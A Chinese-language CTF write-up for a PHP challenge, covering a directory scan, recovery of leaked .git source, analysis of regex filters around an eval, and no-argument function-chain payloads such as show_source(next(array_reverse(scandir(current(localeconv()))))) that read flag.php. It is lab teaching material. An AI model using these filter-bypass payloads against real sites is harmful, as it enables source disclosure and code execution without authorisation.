打开连接,发现啥也没有,只有一句话在那,看了源码、抓包数据也没发现啥,用dirsearch目录扫描一下,间隔设置为0.1线程设置为1,防止429,就是跑得比较久
根据扫描结果可以推断是泄露了git文件,可能导致源码泄露
还原之后
1.if (!preg_match(‘/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i’, $_GET[‘exp’]))
过滤了伪协议
2.if (!preg_match(‘/et|na|info|dec|bin|hex|oct|pi|log/i’, $_GET[‘exp’]))
过滤了很多字符
3.if(‘;’ === preg_replace(‘/[a-z,_]+(?R)?(?R)?/’, NULL, $_GET[‘exp’]))
这段代码的核心就是只允许函数而不允许函数中的参数,就是说传进去的值是一个字符串接一个(),那么这个字符串就会被替换为空,如果替换后只剩下;,那么这个条件就成立。
+:量词:匹配1到无穷次,尽可能多匹配,如果有必要,回溯匹配更少内容
(?R)?递归引用整个表达式 后面的?是量词,匹配0个到1个,尽可能多匹配如果有必要,回溯更少的内容
举例:像a(b(c()));第一次匹配后就还剩下a(b());,第二次匹配后就还剩a();,第三次匹配后就还剩;了,所以说这一串a(b(c())),就会被eval执行,但相反,像a(b(‘111’));这种存在参数的就不行,因为无论正则匹配多少次它的参数总是存在的。那假如遇到这种情况,我们就只能使用没有参数的php函数
原本会有两种方式查看目录
(1)dir(getcwd()); //getcwd获取路径,可惜第三个if把“et”过滤掉了
(2)scandir(current(localecnov()))
localecnov() 函数返回一个包含本地数字及货币格式信息的数组。相当于Linux的ls。
scandir()就是列出目录中的文件和目录.
current() 返回数组中当前元素的值
我们还需要把他打印出来,所以
payload: exp=print_r(scandir(current(localeconv())));
这里要用两个函数
1.array_reverse()函数用于以相反的顺序返回数组,它接受一个数组并以相反的顺序返回带有值的新数组。
Input: $arr1 = array(10, 20, 30, 40, 50); Output: Array ( [0] => 50 [1] => 40 [2] => 30 [3] => 20 [4] => 10 )
使用array_reverse(scandir(current(localeconv())))这样就把 flag.php [4]位置换到了第二个,第一个是index.php
我们再利用next指向第二位数组,在用文件显示包涵即可输出flag.php文件
输出php文件,有show_source和highlight_file函数可以使用
?exp=show_source(next(array_reverse(scandir(current(localeconv())))));
?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));